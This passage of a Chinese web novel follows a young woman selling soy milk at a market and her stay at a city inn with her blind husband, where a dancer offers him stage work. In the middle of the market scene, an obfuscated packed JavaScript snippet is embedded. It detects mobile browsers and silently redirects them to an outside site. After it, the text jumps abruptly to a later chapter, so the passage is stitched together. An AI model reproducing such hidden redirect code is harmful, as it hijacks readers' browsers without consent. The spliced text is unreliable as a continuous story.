她把笋干摊开平晒,春花和秋花也在一边帮忙。 当然,秋花纯属就是在帮倒忙,把笋干弄得乱七八糟,陆鸢也没阻止她,等孩子玩累了,再去收拾就是了。不然这一天天的除了挖虫子还是挖虫子,人都给挖傻了。 * 陆鸢早早起来煮豆浆,依旧把表面凝结的豆皮都挂了起来。 就这三回煮豆乳得的腐竹,晾干后也有几两重,都可以做两顿菜了。 她琢磨着今日摆完摊后,就卖肉回来和腐竹一块焖来吃。 陆鸢煮好豆浆,从厨房提出来时,见到黄兰在自家院子,讶异道:“嫂子今日不是不去赶集吗?” 黄兰道:“我过来搭把手,就送你到村口。” 她毕竟不花钱都喝了丽娘好几碗豆乳,琢磨着还是过来搭把手了。 陆鸢笑道:“那就多谢嫂子了。” 这离村口这么远,有人帮忙抬一下,也能轻松很多。 而她这回带的东西也多了些。 三斤笋干,还有没什么重量的绣品。 到了村口,正巧碰上了先前在河边与黄兰起了口角的杏娘。 黄兰嘟囔道:“怎么我不去,就碰巧遇上她了。” 说着,转头和陆鸢小声嘀咕:“这杏娘要是再用话噎你,你也别怕事,直接把她给怼回去。” 陆鸢看向杏娘,那杏娘立马移开了视线,生怕惹到什么闲话一般。 估计也是真的怕别人说她还惦记着祁晟,所以才会这么避讳。 这看着可不像是会找麻烦的模样。 陆鸢点了点头,与黄兰道谢后,径直上了牛车,和杏娘错开了两个人的位置坐下。 到了市集,这回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519948|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没黄兰占位置,所以摊位的位置不是特别好。 她送了一碗豆乳给隔壁卖青菜的大娘,让帮忙看顾一会,就去打水了。 水打回来了,也开始卖力吆喝了起来。 有的回头客见到是她的摊位,也过来买上一碗豆乳,边喝边道:“一早上口渴都忍着,就等你这碗豆乳了。” 陆鸢笑道:“我这生意,还是多得大家伙的关照。” 那人道:“你家的豆乳也不像是放了糖的,可为什么比别人家多了丝丝甘甜。” 陆鸢笑应:“这就是我的秘方,可不能说。” 区别就在于山泉水和河水,井水的区别。 陆鸢卖完了一桶豆乳,第二桶就难卖了很多,她看着还剩下的大半桶豆乳,心里发愁。 这时,先前约好的年轻妇人带着两个相同年纪的妇人找了过来。 “你可让我好找,从集市口找到了集市尾。” 陆鸢边把布包着的绣品拿出来,边道:“这不是来晚了,占不到好位置,只能是在这集市尾了。” 年轻妇人道:“你别觉着占好位置的摊贩都是来得早,人家都是找镇上相熟的人,一开市就过来提前占位置。” 陆鸢眼神一亮,是呀,她怎么没想到。 要是能占到前边的位置,人流大,也不愁卖不完两桶豆乳。 可她哪来相熟的人? 陆鸢看向了正在挑帕子的年轻妇人,问:“娘子可否帮忙问一下,有谁可以在赶集日占位置。我也不白让人干活。每次能占到中段以上的位置我都给两文钱。中段往后,只要不是集市尾这几个不好的位置,我也都给一文钱。” 几个妇人互相对视了一眼,年轻妇人说:“你若是信得过我,我倒是可以给你介绍,可你也得先给钱,不然里甲收摊位费,人家也不愿意先垫付。” 陆鸢没半点犹豫:“行,我可以先给。” 那年轻妇人笑了:“你倒是信我,也不怕我贪了你的摊位费。” 陆鸢嘴甜道:“娘子穿着打扮精细,谈吐也有教养,不缺这两文钱。” 她的话中听,年轻妇人嘴角压不住笑:“你这妇人,一张嘴尽说好听的话。” 几个妇人兴许是被哄得高兴,陆鸢带来的三方帕子和三个平安扣的络子,都给她们包圆了,还顺道帮衬了三碗豆乳。 她们临走时,陆鸢先把下回赶集的摊位费给了。 人走了,陆鸢乐呵呵地把铜板放进布袋。 摊前又来了人,陆鸢忙放好钱袋,笑脸相迎:“大娘可是要喝豆乳?” 来人是个四十来岁,穿得喜庆的大娘。 大娘不说话,只盯着陆鸢打量。 陆鸢被她打量得莫名,又问了一遍:“大娘要买豆乳吗?” 那大娘忽然咧嘴笑道:“给我来一碗。” 陆鸢动作麻利地给她舀了一碗。 大娘在一旁问:“妹子,你一个出来摆摊,你家男人怎不来搭把手?” 陆鸢把豆乳递过去,收了铜板,笑应:“家里有老人小孩,男人在家里照看呢。” 这大娘一来就打量她,一开口就问她家男人,怪得很。 大娘闻言,脸上的笑没了,也默了好一会。 心道哪里是照看老人小孩,分明是老人小孩在照看! 寡妇的嘴可真能颠倒黑白。 眼见这天聊不下去了,大娘只好开门见山道:“我也不瞒妹子,我是这十方村的杨媒人,这回是有人托我来给你说亲的。” 50-60 第51章 陆鸢热着粥, 便端了一盆水盥洗。洗漱好了,又端了一盆给祁晟盥洗。 怕粥煳底了,又着急忙慌地跑了下来,回到小厨房。 小栈掌柜提了一捆柴进来, 她便打了声招呼, 然后转回头继续搅拌险些煳底的粥。 小栈掌柜把柴火放下, 嘱咐道:“咱们小栈有在夜市讨生活的,过了子时才回来的, 早间还在睡,娘子出行或说话都请小声些。” 陆鸢笑着点头, 表示理解。 小栈掌管正要转身出厨房时, 忽然想起了昨晚的事,转身看向她, 道:“苏娘子的郎君是个会疼人的。” 陆鸢听得莫名, 转头疑惑看向他, 小栈掌柜只是朝着她意味深长地笑了笑, 没有言明就出去了。 陆鸢歪了一下头, 眼里满满的疑惑。 他背着她干嘛了? 粥好了,陆鸢从小栈的锅里盛回到原先的锅里, 端上了二楼,用脚轻踢开门, 把粥端到了桌上。 她看向擦脸的祁晟, 问:“你昨日找小栈掌柜了?” 祁晟动作一顿,没有转头, 只应:“昨日你睡得不踏实,我便下楼找掌柜要了个汤婆子。” 陆鸢一想,好像夜里还真抱了个暖和的物件。 她走到床边掀开被子, 果然看到了个汤婆子。 她就说怎么下半夜睡得舒服了,原来是这个小玩意的功劳。 不,也算祁晟一份功劳。 陆鸢笑道:“谢谢。” 祁晟能帮得上忙的很少,倒是第一回听到她朝着自己说这两个字,微微一愣,随之道:“你我夫妻,不用谢。” 陆鸢把汤婆子拿出来研究了一下,问:“一会要还吗?” 祁晟道:“小栈掌柜让我们离开时还回去就成,你若还是觉得不舒服,就晚些时候还。” 陆鸢想了想,说:“那就晚些时候还吧。” 正好可以让她热敷一下后腰。 她把汤婆子放到桌面上,把粥盛到了两个碗中,说:“也没配菜,先凑合喝着,等我得空了,再用剩下的那些菌干做些小菜。” 祁晟转身走来,坐下,应道:“我不挑,能果腹就成。” 喝了粥,陆鸢找了拿了换用的月事带,与换洗的衣服,包起来,再拿了桶,与祁晟道:“我去洗洗,一会儿就与你出门。” 昨日她与祁晟都没洗就睡了,他没出汗倒好,倒是她刚好来了事,浑身难受。 她刚上来的时候,洗干净了小厨房的锅,舀了半锅水,就着灶眼的余温放着,这会应该已经温热了。 祁晟道:“客栈人来杂乱,便是小栈也有外男。我与你下去,在外边守着,以免外人偷窥。” 二楼有四间小屋,除却对门,另外两间屋子有男有女。楼下那间也是个汉子。 陆鸢点头:“也行。” 有个人守着,总比没人守着有安全感。 下了楼,祁晟给她拿着包裹,她则进厨房打水。 陆鸢怕来城里还得花钱买洗漱器皿,也就自己从围山村带来了桶和盆,没用小栈里的。 陆鸢不大敢用客栈里的盆,谁知道上一个泡脚的会不会是个有脚臭的大汉。 打了水,便让小栈掌柜给了澡间钥匙。 小栈就一个澡间,不分男女。 平日都上锁,要用到就让掌柜给钥匙,把锁拿下,再从里边锁上。 防的不是进去用的人,而是让进去沐浴的人能在里边反锁上,以防有歹人趁着女客沐浴时做什么。 自然,很多时候,女客几乎都是把水提到屋子里用,很少用到澡间。 祁晟跟着陆鸢到了澡间外,听到她喊停,便站在了原处,把包裹递给她。 小栈掌柜探头出来瞧了眼,看着亦步亦趋跟在自家娘子的郎君,啧啧摇头。 也不知是因为眼睛瞧不见才这么黏妻子,还是本身就是离不得妻子的。 陆鸢简单洗漱后,浑身清爽。 洗了衣物晾在房中后,就与祁晟一同去医馆。 祁晟不仅要热敷,还要针灸,估摸着要半个时辰。 陆鸢在医馆等候时,顺道与医馆来等着瞧病的人唠嗑了起来。 彼此交流一会病情。 晓得是城里人后,陆鸢便苦恼道:“我郎君治眼疾,每日都要花许多银钱,现在住的小栈一日也要十几文,我寻思着要找个便宜的月赁小屋,可去了牙行,又觉得不可靠。” 有带着孩子来的妇人道:“你若是不怕吵,倒是可以去夜市附近租个小院,双日夜市要至子时,夜市铺面倒是不愁外租,可有些铺子能住人的后院却是难租出去。” 陆鸢听到吵闹,第一时间想的就是排除在外,毕竟病患需要静养。 可直到二息之后,才反应过来了重点。 夜市! 这不是妥妥的赚钱门路么! 祁晟这身体也养得差不多了,睡眠质量也上来了。 他现在还年轻,年轻人熬点大夜怎么了? 陆鸢心里有了些主意,继续打探:“那这租金贵不贵呀,太贵我承担不起。” 妇人道:“应该有便宜,也有贵的,得看人家环境。你要是真有心想租,自己便去瞧瞧,那里要是有屋子外租,都会在外头贴着告示。” 陆鸢把这话听在了心里,然后打听夜市所在,就等祁晟针灸完后再去瞧瞧。 小腹隐约有点坠痛,陆鸢便拿出早上装的热水喝了一口。 竹筒不保温,都已经凉了,也没什么作用。 等了好一会,祁晟才从隔间出来 月前刚醒的时候,祁晟身形消瘦,就是脸色唇色都苍白无血色。但经过月余的调理,日日吃了睡或坐,身形已经没有一开始那么单薄了。 黑布覆着双目,笔挺唇薄,轮廓极好,一瞬间就吸引了旁人的注意力 对此,陆鸢也已经习惯了。 一同出了医馆,她问:“感觉怎么样?” 祁晟应:“没有太大的感觉。” 陆鸢安慰他:“大夫说要几次之后才可能见到成效,再等等。” 祁晟略一点头。 陆鸢带着他往夜市的方向而去。 祁晟似乎察觉不对,便问:“这好似不是回小栈的路吧?” 陆鸢讶异道:“咱们从小栈到这里也只有两回,你就记住路了?” 祁晟解释:“我常年在山里打猎,避免迷失在林子里,都会记住路线,久而久之也就养成了习惯,就是眼睛看不见,也会根据听觉嗅觉来判断是不是原先那条路。” 陆鸢:“我就说嘛,我丢了你都不一定丢,老太太还嘱咐我要照看好你。” 祁晟无奈道:“我只是记得较短的路,太远了,还是认不出来的。” 说着,又问:“你想去哪里?” 陆鸢道:“我刚刚和来瞧病的人闲聊了一会,打听到夜市闹区的住宅会便宜,我打算去瞧瞧。” “本来我想到你,就不想考虑了,但是我转念一想,要是在闹市,我要是想支个小摊,我都不用来回跑,方便得很。” 祁晟微微蹙眉道:“可夜市比日市要混乱,且多靠近瓦子,三教九流的人也多,你一个妇人,恐怕不太安全。” 陆鸢看他,道:“不是有你么?难不成你没打算和我一起出摊?” 祁晟愣了一下,随即道:“你不怕我帮了你倒忙?” 陆鸢:“你来了,没准还能多招揽生意呢!” 俊男美女总能吸引来更多的顾客。 祁晟显然也和她想到了一块去,皱眉道:“你这样想是不对的,得脚踏实地,我纵使皮囊还过得去,但也不是长久之计。” 陆鸢道:“晓得了晓得了,这还是得靠真材实料才能留住客人。” 循着问路,便找到了夜市所在。 夜市在白日,与东西两市不同,很是安静,但街道上还未收拾完的杂乱,都无疑在表示昨晚的热闹。 他们还未到夜市最热闹的地方,两边的屋子也相对矮小。勾栏瓦舍的楼阁就在前头,晚间灯火通明,日间却是安静得好似空无一人似的。 陆鸢与祁晟穿入巷子,左右张望,在后巷的一些宅院的角门看到有张贴有租赁启事,租金详谈,若有要租房,双日夜市时到前铺询问。 走了一圈,都是这样式的,也就只能是等明日双日了。 回去时,陆鸢买了些肉和菜,等回了小栈做饭吃。 上楼前,她询问小栈掌柜:“我中午要做个中食,不会影响到旁人歇息吧?” 小栈掌柜道:“只要上午不吵,中午做吃食是正常的,其他住客也没道理阻止。” 闻言,陆鸢也就放心了。 她与祁晟上了楼,对面屋子的门忽然打开,陆鸢看了眼,只见昨日见的那个叫黄鹂的女子卸了妆面,梳在了腰后,显然是刚睡醒。 卸了妆面之后,隐约可见她眼角有微微细纹。 瞧来不像是二十出头,应差不多有三十了。 也不知道作甚,她定定地盯着陆鸢。 陆鸢被盯得有些头皮发麻,正要回房,黄鹂凉凉出声:“我问过旁人了,他们说那个鸮心鹂舌不是什么好话。” 陆鸢转头一笑:“我可没说娘子你鸮心鹂舌,我只是说是鸮心鹂舌的鹂。” 黄鹂轻笑,随即调子柔柔的道:“我也不是兴师问罪,只是想给你们二位介绍一份赚钱的活计。” 陆鸢深信无事献殷勤,非奸即盗,正想回绝。 祁晟却先拉住了她,淡淡应道:“不用了,我们有自己的活计。” 说罢,就把陆鸢拉进了屋中,把门阖上。 入了屋中,祁晟道:“那女子是瓦子里的舞娘,莫要走太近。” 陆鸢惊讶道:“你怎么知道的?” 祁晟道:“昨日闻到了浓郁的脂粉香味,昨日又是双日,而且她再次从屋中出去的时候,我听到了细微的铃铛声,是走路时发出来的,只有瓦子里的舞娘才会在跳舞时佩戴脚铛。” 他又问:“你昨日见她,脸上是不是浓妆艳抹?” 陆鸢惊讶道:“神了,你都没看到人,竟也能观察得这么仔细。” 祁晟道:“只不过是打猎时观察猎物要仔细,才训练出来的敏锐罢了。” 话音刚落,房门被敲响。 陆鸢开了门,见又是方才的黄鹂,她有些无奈:“娘子你又怎了?” 黄鹂道:“你们不如先听听我说的什么活计,再拒绝也不迟呀。” 陆鸢默了默:“那你说?” 估计她就是关上门,她也能在外头说出来,还不如一次性让她说完,一次性拒绝。 黄鹂打量的目光落在她身后的男人身上,说:“我是轻韵舞坊的舞娘。” 陆鸢心下一诧,竟还真被祁晟给说中了。 黄鹂继而道:“我们舞坊新排了一支西域舞,正缺个扮演西域憎人的男角,我瞧你家郎君样貌出众,短发,且脚步也扎实,不若来我们轻韵舞坊试一试,出场一回一吊钱。” 她还真敢想,祁晟都裹着眼布了,明显是个瞎子了,还让他去跳舞…… 陆鸢皮笑肉不笑的道:“我郎君眼睛不好,就不去了。” 正要关门,黄鹂一把按在了门扉上,道:“正巧那角色也是眼盲高僧,不需要太大幅度的动作,只需坐定打坐就成。” 陆鸢一听,脑子里边就浮现了唐僧在盘丝洞被一群女妖精包围的画面。 …… 她觉得自己猜得也八九不离十了。 黄鹂笑道:“我听说你们来城里是为了治眼疾的,治眼疾定然要花不少银钱,还不如来舞坊接几场舞,也都能够你们在城里的花销了。” 祁晟唇抿了许久,沉了声:“请离开。” 黄鹂却是个厚脸皮的,说:“这位郎君,想来你也不想做拖累,也不想被人说是吃软饭的,不若就此挣些银钱来补贴家用。” 陆鸢沉了脸,拍了拍她按门的手:“我家郎君脸皮薄,去不了。” 等那黄鹂松手,她立马关门,动作一气呵成。 听着她果决拒绝,祁晟也暗暗松了一口气。 一吊钱对于常人来说不少了。 寻常五口之家,一年的花销也不过是五吊钱。 若是她真动心了,劝他去,他或许真的会去。 毕竟,对于现状而言,他对她来说确实是个拖累。 外头的黄鹂也不气恼。 没同意,估摸着是银钱不够,但她也拿不定注意,还是寻班主过来,让班主先瞧过人再说。 她们舞坊不拘于舞娘,舞男也有,毕竟着男人的银子得挣,女人的银钱也不能少挣。 那郎君的样貌,一看就是能让女人们舍得花银子捧的。 不过,若是眼睛能瞧得见便好了。 她们舞坊貌美娘子多了去了,哪个不比他那个妻子长得好? 若是瞧得见,便能用美色引诱了。 瞧了眼紧闭的房门,有些不甘,但还是转身先回了房。 陆鸢趴房门上,听到离开的脚步声,还有关门阖门的声音,她才转身嘀咕道:“我还以为她是瞧上你了,没承想是瞧上你的脸了。” 祁晟试探地问:“方才说一吊钱,你就没动心?” 陆鸢心说是一吊钱,又不是百金,有什么值得她动心的? 再说了,高僧与舞娘,这怕不是让他去跳那些艳舞? 她真要是同意他去,这和怂恿另一半下海有什么区别? 这瓦子里还真是什么人都有,竟也敢亵渎僧人。 “要是老太太知道,你去了那舞坊当舞男,那还不得气死,我可不敢动这个心。” “再说了,一吊钱也不是很多。” 祁晟在旁提醒:“出场一回一吊钱,若是一个月出场五次便是五吊钱,且另有打赏,说不定一个月能挣个十两,你的百金,一年就能挣够。” 陆鸢眼里浮现怀疑,她微微眯眼看着他。 她觉得,他是在给她挖坑。 她若是真敢有半点动心的念头,便是给他抓住了小辫子。 “我又不是不能挣钱,哪至于让你去挣这些钱?” 祁晟闻言,微蹙的眉头稍稍一松。 可没等他心悦几息,她便质问了出来:“不对呀,你明明住在安平镇,怎会对这勾栏瓦舍这么的了解?!” 祁晟便解释道:“我很久以前确实去过。” 陆鸢瞪眼:“我瞧着你老实纯情,没承想你也流连过这勾栏瓦舍!” 虽说这勾栏瓦舍在古代也是正规场所,可同时也是销金窟,人来往集,也有一些见不得人的交易。 陆鸢了解瓦子,可让她不了解的是祁晟。 她没想到,一撩就耳朵红的祁晟,竟也去过这勾栏瓦舍,算她看走眼了。 祁晟察觉到了她的不喜,上前循着她声音的方位,拉住了她的手:“你且听我仔细说。” 陆鸢甩他的手,没甩开。 “说便说,别动手动脚。” 祁晟把她拉到床边坐下,说:“我先前不是与你说过,我打过狼吗?” 陆鸢没应他。 祁晟自顾自地说:“我打了好几头狼,镇上乡绅就算要,也只要得一头狼,我便送来了这城里卖。” “恰好有人见着我在城里扛着狼,就直接问了,让我送来了瓦子,还留了我用了饭,想让旁人见见打狼的少年。” “那时才十七八岁,涉世不深,就留了下来,却不想被端菜的人弄得满身油污,也只能换上瓦子里的人送来的衣物。” 没承想那留我的人是瓦子的东家之一,他留了我下来,就让人出去宣传瓦子来了个打狼俏郎君。因此夜里来了许多的客人,都想见见我这个打狼俏郎君究竟长什么样。” 陆鸢听到这里,已经不气了。 他也没必要骗自个。 “后来呢?”她问。 祁晟继续道:“后来我就这么莫名其妙地被推到了台上,那几头死狼也被抬了上来。满座宾客都催促让我讲述打狼的过程,我便只能硬着头皮说了,然后四面八方投来了不少的赏钱。” 那时,祁晟感觉到的不是挣到钱的喜悦,而是一双双瞧乐子的眼神,而他就是那乐子。 陆鸢皱眉道:“这不是赶鸭子上架么,起码要征得你同意,才能那么干,可你压根就不知道,估摸弄脏你衣裳,让你换上衣裳,也是预谋的。” 祁晟点了点头:“后来他们想高价留我在瓦子里做些轻省的活计,我也没留。” 陆鸢一听就听出来问题了,她道:“天上没有掉馅饼的好事,高价留你做轻省的活,谁知道有没有别的坏心思。” 都能先斩后奏,借着打狼俏郎君的名号做生意了,也不见得是什么好人。要是哪日有个有权有势的看上他了,估计那瓦子东家都能做得出迷晕送上榻的勾当。 说到这,陆鸢又仔细打量了眼祁晟,叹道:“无论男女,长得太好看了,也不是什么好事。” 祁晟脸上没有笑,只道:“我只是有几分出色的皮囊,倒不至于那等能让男女倾倒的美男。” 祁晟确实不是什么绝世美男,可是在这边陲小城,他的样貌在许许多多为生活奔波,操劳的人之中,显得那么出类拔萃。 不仅长得好,身高也挺拔,也有一些肢体的气质所在,更能增添人的魅力。 他行得方正,坐得也方正,与那些胡咧咧的男人大不相同,他既不缺阳刚,也不缺君子姿态。 陆鸢反手握住了他的手,道:“要不然我摆摊的时候,你就在家里待着吧,万一被有权有势的人瞧上了咋办?” 祁晟:…… 他与她说往事,只是想告诉她,他没有流连瓦子的嗜好,并不是想与她说,他有多招蜂引蝶。 他笑得颇为无奈:“人家有权有势的高门大户,也不缺娇娘美妾,不至于目无王法到抢人的地步。” 而且,抢他一个大男人能做什么? 陆鸢想了想,又道:“若不然之后扮丑些吧,粘个假胡子,或是点几颗大痣。”说着,抬手在他的脸颊上点了点,琢磨着在什么位置点痣。 祁晟握住了她的手,语气无奈:“不至于,真不至于。” 或许是他现在大病初愈的模样,才会给了她一种,他孱弱可欺的错觉。 等他双目恢复正常,身体也恢复像以前那般,不仅身体强壮高大,还会些身手,旁人轻易都不敢招惹他,她也不用为此担心他被人欺辱。 第52章 夫妻二人说清楚后, 对于对门黄鹂的提议,都没太放在心上,反正他们很快就会搬离这里,以后还能不能遇上都说不准呢。 再说这单日夜市不开, 陆鸢身子也不爽利, 索性就在屋子里躺平。 真真切切地躺平, 躺在榻上一动不敢动。 陆鸢看着帐顶发呆,琢磨着夜市的夜宵能做什么。 大鱼大肉不适合夜宵, 她更没那手艺。 思去思来,还是得做过调查才行。 小栈地方小, 屋子更小, 她就和祁晟挤在屋子里头。 她躺在榻上,他坐在床边, 不说话的时候, 还有些许的尴尬。 平日里, 除了睡觉的时候外, 都很少一块在屋子里待这么长的时间, 聊完话题之后,祁晟也不主动说话, 也没旁的可聊的了。 陆鸢想着想着就睡着了,一觉醒来, 祁晟还坐在原本的位置。 她没好气地问:“你坐了这么久, 也不知道挪个位置呀,就不累呀?” 祁晟也在想旁的事, 应:“不累。” 陆鸢伸手拉了拉他的袖子:“上床躺会儿吧。” 祁晟被她轻拉了拉,便站了起来,坐到了床榻上。 “躺吧。”她了拍床外侧, 顺道往里边挪了挪。 祁晟脱鞋顺势躺下。 他才躺下,旁边的人就坐了起来,准备下榻。 祁晟一愣,问:“你要去哪?” 陆鸢:“起来做点针线活。” 她衣衫就一身没有补丁的,要是真在这城里做吃食,就得穿得齐整些,好歹干净整洁没有补丁。 来时,陆鸢就让何老婆子帮她布料都剪好,她直接缝上去就好了。 何老婆子是知道她的针线活到底有多差的,所以不仅帮她把布料剪裁好,也大概给她缝好了形,她只需要逐一再加固就成。 像这样待在小栈没事做,估摸两天就能做完了。 做得累了,她转头看了眼榻上的祁晟,双目紧闭,呼吸匀称,应是睡着了。 他这人还真奇怪,她睡他不睡,还非得让她叫才睡。 她转头瞧了眼天色。 也差不多可以做晚饭了,不然等晚些时候,其他客人用了厨房,她也用不上了。 舀了半碗米,再拿上三个鸡蛋和几根豆角,一块肉和刚泡开的菌干下楼。 豆角炒鸡蛋,煮饭的时候顺道蒸个肉菌干 出门在外,买肉方便,在吃的方面可不能省,还得养身子呢。 油盐都要自己备着,今日也顺道买了回来。 陆鸢正炒着鸡蛋,对门的黄鹂闻着香就下来了,她倚靠在厨房门,道:“给我也送一份饭上来,我给你付银钱。” 陆鸢转头瞅了她一眼,再转回头:“只够我和郎君吃的。” 黄鹂说:“我的饭量只是你的一半,一顿给你二十文钱,干不干?” 陆鸢在心底算了一下。 跳舞的人注重饮食,对饭量都控制得非常严格。 就黄鹂的身段,最多就是二两米饭,这成本也就一文钱,菜最多就是五文钱。 这能净挣十几文呢,她挣扎了一下:“我可没有多余的碗筷。” “等着。”说着,她便上了楼,片刻后端着个托盘下来了。 托盘上有一个碟子和一副碗筷。 碗筷和碟子很是精致,都是上了彩釉的。 瞧着碗筷,陆鸢琢磨了一下,算了,谁愿意和钱过不去呢。 最多不和祁晟说就是了。 她可不能让他觉得她见钱眼开,形象还是得要一点的。 陆鸢做好了饭菜,先把黄鹂那份端了上去。 作贼似地瞧了眼自家房门,然后才轻敲了敲黄鹂的房门。 敲门声落下,传来黄鹂的应声:“来了。” 不一会,门打开了,黄鹂瞧了眼托盘上的分量,且菜色也不敷衍,她便递给了她一小串钱。 “若饭菜好吃,下回继续让你做。” 陆鸢没应声,怕自己出声,祁晟听见。 拿了铜板,陆鸢欢快下楼把暮食都端了上来。 祁晟这会也起来了。 陆鸢道:“洗洗手,吃饭了。” 昨日陆鸢就已经把东西摆放好,与他逐一确认过位置了,地方小,且他记性好,一次就记住了。 祁晟洗了手,转身两步就走到了桌前坐下。 陆鸢把菜都夹到了他的碗里,然后把筷子和碗都放到了他的手里。 “吃吧。” 吃完了饭,陆鸢就去把碗筷洗了。 入了夜,陆鸢和祁晟都要洗个澡,祁晟在外守了一会。 陆鸢从澡间出来后,给他把水提了进去,与他道:“你把换下来的衣服递给我,我顺道给你洗了。” 祁晟摇头拒绝了:“我是眼睛看不见,但还是能干点的。” 陆鸢闻言,眉眼一弯:“那你顺道给我洗了,成吗?” 祁晟一愣,随即点头应:“那你放着。” 想了想,又说:“夜深了,你先回房,过一会再下来。” 方才他在外看守时,感觉到有男人走动。她一个妇人在外,他不放心。 陆鸢想了想,反正热水都给他提了进去,便道:“那行。” 她往盆里装了一些水,端上房中洗贴身的衣物,外边的衣服就交给祁晟了。 在围山村她可没少给他洗衣服,他给她洗洗又怎么了? 而且她今天才来事第二天,也可以矫情点。 陆鸢晓得他沐浴的时辰,差不多时候,晾好小衣后,她就端着用过的水下楼了。 祁晟这会已经洗好出来,在楼下等着了。 陆鸢倒了水,再舀了水过去,然后把她的外衣扔了进去,还有他的,最后把皂角塞到他的手上。 她则蹲着了他身边,小声说:“等有人来,你就把衣服塞我手里。” 她可不想让旁人觉着她亏待瞎了眼的郎君,且祁晟性子好,也尊重人,她也愿意迁就这个时代的规矩,在外给他些面子。 祁晟第一次给女子洗衣,有些生疏,也不敢用力揉搓,全副身心都在手上的衣服上,应:“旁人又不认识我们,怕什么?” 陆鸢:“还不是怕你没面子么。” 祁晟却不在意:“给自家媳妇洗衣,并不是丢脸的事。” 陆鸢闻言,眉眼一弯,趴在膝上看他:“你真这么想的?” 祁晟“嗯”了一声,继而道:“面子从不是在自家媳妇身上挣来的,而是让家人,让媳妇过上好日子,那才是有面子的事。” 陆鸢听着这话,眼里都是星星点点的笑意:“你怎这么会说甜言蜜语?” 祁晟眉头微一拧:“不是甜言蜜语,是我心中所想。” 陆鸢应:“只要我觉得好听的,顺耳的话,那就是能哄我开心的甜言蜜语。” 祁晟听到重点:“听到这些话,你觉得开心?” 陆鸢也“嗯”了一声:“听着,心情好。” 祁晟唇角微一扬,浮现微微笑意:“是你太好哄了。” “我也觉得挺好哄的,你以后什么活都包揽了,我能更好哄。” 祁晟轻笑出了声:“那不行,什么活都给我干,那我岂不成了你的长工。” 一听“长工”这个词,陆鸢立刻想到了一些带感的设定,小脑立马一黄。 好一会没声,祁晟问:“想什么?” 陆鸢:“没想什么。” 在想长工与娇蛮千金的限制文。 祁晟心忖她整日嘴上叭叭不停,忽然说着说着没声了,脑子定然在胡思乱想一些什么。 他怕她在外语出惊人,也就没问到底。 小栈掌柜正要去上茅房,从旁走过,然后就看到了小夫妻俩在洗衣服,但看到洗衣的是男人,愣了一下。 开小栈这么久,还是第一回看到男人洗衣,妇人在旁看着的。 陆鸢回过神,与小栈掌柜对上了视线,顿时有点尴尬。 小栈掌柜也没法当做没看见,只笑得讪讪打招呼:“洗衣呢?” 陆鸢点了点头,笑着说:“我郎君心疼我,不让我洗。” 祁晟面色如常,也没有因为有人出现而停下洗衣。 小栈掌柜点头:“理解理解。” 他家媳妇来事了,也是他给洗的衣服,只不过都是偷摸洗,不让别人知道。 哪像她家这个郎君,似乎一点也不怕人知道,好像也不怕别人说他惧内。 打完了招呼,小栈掌柜就去上茅房了,再返回也是匆匆打了个招呼。 祁晟洗完了所有衣物,也没有洗到她的小衣,暗暗地松了一口气。 他们更亲密的肢体触碰都还没有,就先触碰到了贴身的衣物,他怕自己今晚一晚都在想着这事,睡不着。 洗好了衣物,便上了楼。 对门的黄鹂似乎听到了声响,忽然打开了门。 四目相对的下一瞬,陆鸢似乎猜到了她要说什么,还没来得及阻止,她便开了口:“明日继续给我准备中食,我还给你二十文一顿。” 陆鸢挤眉弄眼,都没把能把她的话截断。 黄鹂说完后,瞧了眼她身边的男人后,微微一笑:“郎君万安。” 声音一落,便把门阖上了。 冗长的沉默后,陆鸢把房门打开了,也没看他,说:“咱们先进屋吧。” 进了屋,陆鸢就把衣服接过,晾到窗外。 他不问,她也就不提。 “方才对门那女子说的中食,是怎么回事?”他问。 陆鸢:…… 他问得也太快了一点。 她索性也就不瞒了,说:“做暮食时,她让我给她送一份上去,给我二十文,她吃得也不多,不过是我平时的一半。” “我想着我们在城里这么大的花销,这钱也挣得不亏心,那我也不能和钱过不去,对吧?” 她抬眼去瞧了眼他的脸色,果然不太好,有些沉。 “那你吃饱了吗?”他问。 “啊?”陆鸢还以为他会说不要挣这个钱,却没想到他问这个问题。 祁晟又问了一遍:“吃饱了吗?” 陆鸢摸了摸小腹,如实道:“没有。” 祁晟叹了一声,说:“我听掌柜的说,虽然单日没有夜市,但瓦子也会开,夜里的街头巷尾都会摆有吃食,就小栈路口也有一个馄饨摊子,我与你出去吃点夜宵。” 陆鸢想了想,自己没准夜里真会饿得睡不着,反正也挣了十几文钱,吃一碗馄饨也不是不行。 这么一想,她应:“好,咱们出门吃个夜宵。” 拿了铜板出门,给门上了锁,下楼向小栈掌柜借了灯笼后就出了门。 夜里凉,一出门,陆鸢就不禁缩了缩脖子。 还没到深夜,巷子里也有个别人提着灯笼走动。 沿途的两个小栈,檐下也挂了两只灯笼,微弱光亮照在巷中,倒不至于暗夜无光。 可黑暗中带着少许昏黄光亮,氛围更让人害怕,陆鸢不自觉地拉住了祁晟的袖子。 祁晟反手就抓住了她的手,温声安抚道:“莫怕。” 他的安抚,陆鸢心下可一点都安不下来。 他可是个瞎子,要真遇上危险,他能护得住她么? 心慌慌一路地走到了巷口,在看到挂着几只灯笼的馄饨摊子时,陆鸢的心也定了下来。 两人坐下后,陆鸢问他:“你要不要也吃点。” 祁晟摇头:“你吃吧,我不饿。” 陆鸢道:“我应该也吃不完,一会分你一半。” 她转而看了眼招牌,大碗十文,小碗七文。 这还挺贵的,可毕竟是肉馅,贵点也能理解。 她要了份大碗的,顺道让摊主多给她拿一个小碗。 馄饨送了上来。 满满一碗的馄饨,看着是骨汤炖的汤底,上头还飘着葱花,闻着就很香。 她盛了一半到小碗中,然后把大碗给了祁晟。 祁晟摸到是大碗,说:“你暮食吃得少,多舀一些。” 陆鸢摇头道:“我可不是谦让,我是怕吃多了,夜里积食。” 说着,她就舀了一颗馄饨到勺子中,吹了一会才放到口中。 肉很少,但不得不说,味道还是很鲜美的,她甚至还在汤里头喝到了虾米的鲜味。 